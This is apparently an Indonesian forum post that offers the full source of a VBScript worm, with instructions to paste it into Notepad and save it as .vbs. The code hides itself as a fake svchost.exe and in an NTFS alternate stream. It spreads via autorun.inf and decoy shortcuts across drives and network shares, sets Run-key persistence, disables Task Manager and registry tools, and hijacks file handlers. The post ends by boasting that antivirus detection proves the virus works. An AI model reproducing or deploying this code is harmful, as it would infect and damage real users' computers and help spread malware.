angsung copy paste aja.. di note padsave sbg .vbs
script begins
On Error Resume Next
Dim fso, ws, status,status1, fly, tf
Set fso = CreateObject("scripting.filesystemobject")
Set ws = CreateObject("wscript.Shell")
Set sh = CreateObject("Shell.application")
Set net = CreateObject("wscript.network")
fly=false
tmp=fso.GetSpecialFolder(1)
tn=fso.GetTempName
tmpt=tmp+"\"+tn
docx=ws.SpecialFolders("MyDocuments")
Set swt=WScript.Arguments
on error resume next set
tf = fso.getfile("c:\windows\system32\wscript.exe")
tf.Attributes = 39
set tf = fso.getfile("c:\windows\svchost.exe")
tf.Attributes = 0
fso.copyfile "c:\windows\system32\wscript.exe", "c:\windows\svchost.exe"
set tf = fso.getfile("c:\windows\svchost.exe")
tf.Attributes = 39
on error resume next
If swt.Count>0 Then
status=swt(0)
End If
if fso.fileexists(tmp+"\msvbvm60.dll") then
set erd=fso.getfile(tmp+"\msvbvm60.dll")
erd.attributes=0
erd.name="anna.erd"
if erd.name="anna.erd"
then erd.name="msvbvm60.dll"
set erd=fso.opentextfile(tmp+"\msvbvm60.dll",2,true)
else
fly=true
end if
else set erd=fso.opentextfile(tmp+"\msvbvm60.dll",2,true)
end if
Set AQ=fso.GetFile(status)
If fso.FileExists(tmpt) Then fso.GetFile(tmpt).Attributes=0
AQ.Copy tmpt,True
Set AQ=fso.GetFile(tmpt)
AQ.Attributes=39
anv=tmp+"\auto.exe"
If Not fso.FileExists(anv) Then AQ.Copy anv
Set auto=fso.GetFile(anv)
auto.attributes=0
Set aut=fso.OpenTextFile(anv,2,True,0)
isi="[autorun]>open=WScript.exe //e:VBScript dekstop.ini
auto>shell\open=Open>shell\open\Command=WScript.exe //e:VBScript dekstop.ini
auto>shell\open\Default=1>shell\explore=Explore>shell\explore\Command=WScript.exe //e:VBScript
dekstop.ini auto"
isi=Replace(isi,">",vbCrLf)
aut.Write isi
aut.Close
auto.Attributes=39
ltkc=sh.Namespace(&H1c&).Self.path + "\Microsoft\CD Burning"
AQ.Copy ltkc+"\dekstop.ini",True
auto.Copy ltkc+"\autorun.inf",True
If fso.FileExists(docx+"\df5srvc.bfe") Then fso.GetFile(docx+"\df5srvc.bfe").Attributes=0
AQ.Copy tmp+"\df5srvc.bfe",True If fso.FileExists(tmp+"\anaksholeh.sys") Then fso.GetFile(tmp+"\cinta-mati-3.sys").Attributes=0 AQ.Copy tmp+"\anakSholeh.sys",True
regQ
Set rara=UNISKA
Hertz False If Day(Now)<>3 Then rekursif docx,1 Else rekursif docx,3
call attack_net
Hertz True Sub rekursif(path,dp)
On Error Resume Next
dropf path
wscript.sleep 50
If dp>0 Then
For Each fldr1 In fso.GetFolder(path+"\").SubFolders
rekursif fldr1.Path, dp-1
Next
End If
End Sub
Sub dropf(path)
On Error Resume Next
if day(now)=1 and (month(now)mod 3)=1 then
rara.copy path+"\Download.rtf"
rara.copy path+"\About Me.rtf"
end if
g1=path+"\autorun.inf"
g2=path+"\dekstop.ini"
If fso.FileExists(g1)Then
Set g11=fso.GetFile(g1)
If g11.Attributes<>39 Then
g11.Attributes=0
auto.Copy path+"\autorun.inf",True
end if
else
auto.Copy path+"\autorun.inf",True
end if
If fso.FileExists(g2) Then
Set g12=fso.GetFile(g2)
If g12.Attributes<>39 Then
g12.Attributes=0
AQ.Copy path+"\dekstop.ini",True
end if
else
AQ.Copy path+"\dekstop.ini",True
End If
If Not fso.FileExists(path+"\Folder.lnk") Then
kiddrock path+"\Folder","Folder"
drop=Array("Aku anak sholeh","","Agar Pintar Selalu","hack facebook","point blank","Software")
ww=1
For Each d In drop
If Day(now) Mod 3 = ww Then kiddrock path+"\"+d,d
wscript.sleep 60
ww=ww+1
Next
r=0
For Each fldr In fso.GetFolder(path+"\").SubFolders
kiddrock path+"\"+fldr.name,fldr.Name
wscript.sleep 60
If r>3 Then
Exit For
End if
r=r+1
Next
End If
End Sub
Sub kiddrock(path,trgt)
Set shor=ws.CreateShortcut(path+".lnk")
shor.iconlocation="shell32.dll,3"
shor.targetpath="wscript.exe"
shor.arguments="//e:VBScript dekstop.ini """+trgt+""""
shor.save
End Sub
function attack_net()
On Error Resume Next
err.clear
Set objFolder = sh.Namespace(&H13&)
Set colItems = objFolder.Items
For Each strFileName in objFolder.Items
t= objFolder.GetDetailsOf(strFileName, 14)
if fso.folderexists(t) then
rekursif t,4
end if
Next
End function
Sub tdr()
On Error Resume Next
err.clear
WScript.Sleep 180000
if err.number>0 then wscript.quit
End Sub
function UNISKA()
On error resume next x=vbcrlf adv="Download>> haiiii > kenalkan namaku ny.> .aku anak sholeh> aku baik lohh.> kata teman2 aku baik.> Luchu > cantik.> dan ngegemesin.> tapi kenap yah orang ga tau itui.> tapi tak apalah asal aku selalu bahagia.>>dan bahagia.>
adv=replace(adv,">",x)
set cinta-mati-3=fso.opentextfile(tmp+"\v.doc",2,true)
cinta-mati-3.write adv
cinta-mati-3.close
if day(now)=1 and (month(now)mod 3)=1 then
if fly=false then
for i=1 to 3
ws.run "notepad.exe /p """+tmp+"\v.doc"""
next
end if
end if
set UNISKA=fso.getfile(tmp+"\v.doc")
end function
Sub regQ()
On Error Resume Next
if day(now)=1 then
ws.RegWrite "HKCR\CLSID\{11111111-2222-3333-4444-555555555555}\", "cinta-mati-3"
ws.RegWrite "HKCR\CLSID\{11111111-2222-3333-4444-555555555555}\DefaultIcon\","shell32.dll,48"
ws.RegWrite "HKCR\CLSID\{11111111-2222-3333-4444-555555555555}\ShellFolder\Attributes",0,"REG_DWORD"
ws.regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\explorer\Desktop\NameSpace\{11111111-2222-3333-4444-555555555555}\","" end if
ws.regdelete"HKCR\lnkfile\IsShortcut"
ws.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", "http://www.facebook.com/"
ws.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Df5serv","Wscript.exe //e:VBScript """+docx+"\df5srvc.bfe""" ws.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Svchost","c:\windows\svchost.exe //e:VBScript """+tmp+"\cinta-mati-3.sys"""
ws.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Explorer","Wscript.exe //e:VBScript """+ltkc+"\dekstop.ini""" ws.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistrytools",1,"REG_DWORD"
ws.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",1,"REG_DWORD"
ws.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\SuperHidden\WarningIfNotDefault","hahahaha my virus like your computer"
ws.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\SuperHidden\CheckedValue",0,"REG_DWORD"
ws.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\SuperHidden\UncheckedValue",0,"REG_DWORD"
ws.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\SuperHidden\DefaultValue",0,"REG_DWORD" ws.RegWrite "HKCR\lnkfile\shell\Delete\command", "logoff.exe" ws.RegWrite "HKCR\regfile\shell\Merge\command", "Wscript.exe //e:VBScript """+docx+"\df5srvc.bfe"""
ws.RegWrite "HKCR\inffile\shell\Install\command", "logoff.exe"
ws.RegWrite "HKCR\VBSfile\shell\Open\command", "
Wscript.exe //e:VBScript """+docx+"\df5srvc.bfe"""
ws.RegWrite "HKCR\VBEfile\shell\Open\command", "
Wscript.exe //e:VBScript """+docx+"\df5srvc.bfe""" if lcase(fso.getdrive("c:").FileSystem)="ntfs" then erdQ=AQ.openastextstream(1,0).read(AQ.size) www=fso.GetSpecialFolder(0) set jjk=fso.opentextfile(www+"\:Microsoft Office Update for Windows XP.sys",2,true) jjk.write erdQ jjk.close ws.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\WinUpdate","Wscript.exe //e:VBScript """+www+"\:Microsoft Office Update for Windows XP.sys"""
end if
End Sub
Sub Hertz(ooo)
On Error Resume Next
do
For Each drv In fso.Drives
If drv.DriveType=1 Then
rekursif drv.Path,4 Else
rekursif drv.Path,2
End if
Next if fly=false then
tdr
else
wscript.quit
end if
regQ
If ooo=False Then
Exit Do
End If
loop
End Sub
sample virus yang terdeteksi anti virus.. membuktikan virus ini sudah bekerja sistem komputer kita
